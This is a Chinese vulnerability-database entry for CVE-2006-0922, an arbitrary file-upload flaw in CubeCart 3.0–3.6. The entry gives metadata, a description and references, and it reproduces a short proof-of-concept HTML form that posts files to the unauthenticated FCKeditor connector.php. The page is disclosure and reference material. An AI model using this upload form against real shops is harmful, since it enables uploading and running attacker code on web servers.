CubeCart绝对路径遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109798 漏洞类型 输入验证
发布时间 2006-02-23 更新时间 2006-08-30
CVE编号 CVE-2006-0922 CNNVD-ID CNNVD-200602-429
漏洞平台 PHP CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/27304
https://cxsecurity.com/issue/WLB-2006020085
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200602-429
|漏洞详情
CubeCart3.0到3.6没有正确检查对管理会话的授权,是因为一个缺失的auth.inc.php包含文件,这会在connector.php(即upload.php)的FileUpload中导致绝对路径遍历漏洞,从而可使远程攻击者借助对admin/filemanager/upload.php的直接请求中经过修改的CurrentFolder参数上传任意文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/16796/info

CubeCart is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form action="http://www.example.com/cubedir/admin/includes/rte/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFol
der=/"
method="POST" enctype="multipart/form-data">
File Upload<br>
<input id="txtFileUpload" type="file" name="NewFile">
<br>
<input type="submit" value="Upload">
</form>
|参考资料

来源:MISC
链接:http://www.cubecart.com/site/forums/index.php?showtopic=14972
来源:MISC
链接:http://www.cubecart.com/site/forums/index.php?showtopic=14825
来源:XF
名称:cubecart-connector-file-include(24883)
链接:http://xforce.iss.net/xforce/xfdb/24883
来源:BID
名称:16796
链接:http://www.securityfocus.com/bid/16796
来源:BUGTRAQ
名称:20060223NSAGroupSecurityAdvisoryNSAG-¹197-23.02.2006VulnerabilityCubeCart3.0.0?3.0.6
链接:http://www.securityfocus.com/archive/1/archive/1/425931/100/0/threaded
来源:MISC
链接:http://www.nsag.ru/vuln/892.html
来源:MISC
链接:http://www.cubecart.com/site/forums/index.php?showtopic=14960
来源:MISC
链接:http://www.cubecart.com/site/forums/index.php?showtopic=14817
来源:www.cubecart.com
链接:http://www.cubecart.com/site/forums/index.php?showtopic=14704
来源:SREASON
名称:482
链接:http://securityreason.com/securityalert/482